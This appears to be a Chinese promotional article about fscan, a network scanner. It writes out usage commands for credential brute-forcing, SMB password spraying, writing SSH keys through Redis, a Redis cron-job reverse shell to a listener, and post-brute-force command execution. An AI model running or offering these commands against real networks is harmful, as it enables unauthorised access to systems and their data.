前言
在网络维护和安全检测中,有效的工具对于提高-效率至关重要。传统的网络扫描工具往往功能单一,需要多个工具配合使用,这不仅增加了工作的复杂度,还可能因为工具间的兼容性问题导致工作效率下降。面对这样的挑战,我们迫切需要一个能够一站式处理多种需求的方案。于是,fscan应运而生。
介绍
fscan 是一款专为网络专业人士设计的多功能扫描工具,集成了诸如主机存活探测、端口扫描、漏洞扫描等功能。它的强大之处在于能够通过简单的命令行cao作完成复杂的任务,例如针对MS17010漏洞的检查、Redis服务器的安-全配置检查等。
功能亮点
-
信息搜集: 包括ICMP存活探测、端口扫描等。
-
爆破功能: 支持SSH、SMB、RDP等多种服务的爆破尝试。
-
系统信息与漏洞扫描: 如NETBIOS探测、域控识别,以及对MS17010等高危漏洞的扫描。
-
Web探测: 包括WebTitle探测、Web指纹识别、Web漏洞扫描等。
-
漏洞利用: 比如Redis写公钥、SSH命令执行等。
-
其他功能: 文件保存,便于后续分析和报告。
技术架构
fscan采用了先进的技术架构,确保了其在性能和稳定性上的卓越表现。它利用了高-效的并发处理机制,使得大规模网络环境下的扫描任务也能迅速完成。
部署方式
fscan的部署十分简便,只需下载可执行文件即可开始使用。同时,它也提供了丰富的命令行参数供用户根据实际需求灵活调整扫描策略。
选择合适的客户端即可。
简单用法示例
-
全功能扫描:
fscan.exe -h 192.168.1.1/24
-
B段扫描:
fscan.exe -h 192.168.1.1/16
-
跳过存活检测、不保存文件、跳过Web POC扫描:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
-
Redis写公钥:
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub
-
Redis计划任务反弹Shell:
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666
-
SSH爆破后执行命令:
fscan.exe -h 192.168.1.1/24 -c whoami
-
模块和端口:
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222
-
加载文件的用户名、密码进行爆破:
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt
-
扫描结果保存路径:
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt
-
快速查看网段信息:
fscan.exe -h 192.168.1.1/8
-
SMB密码碰撞:
fscan.exe -h 192.168.1.1/24 -m smb -pwd password
-
扫描单个URL并设置HTTP代理:
fscan.exe -u http://baidu.com -proxy 8080
开源协议
fscan是一个遵循MIT协议的开源项目,这意味着您可以自由地使用、修改和分发此工具,使其成为商用环境的理想选择。
即刻体验一波
通过上述介绍,您可以看到fscan的强大功能和灵活性。无论是在日常的网络维护还是在专业的安-全审计中,fscan都是值得信赖的伙伴。
结语
fscan凭借其全面的功能和易用性,正逐步成为网络专业人士手中的利器。如果您对网络扫描工具有需求,不妨试试fscan,相信它会给您带来不一样的体验。
源码:https://github.com/shadow1ng/fscan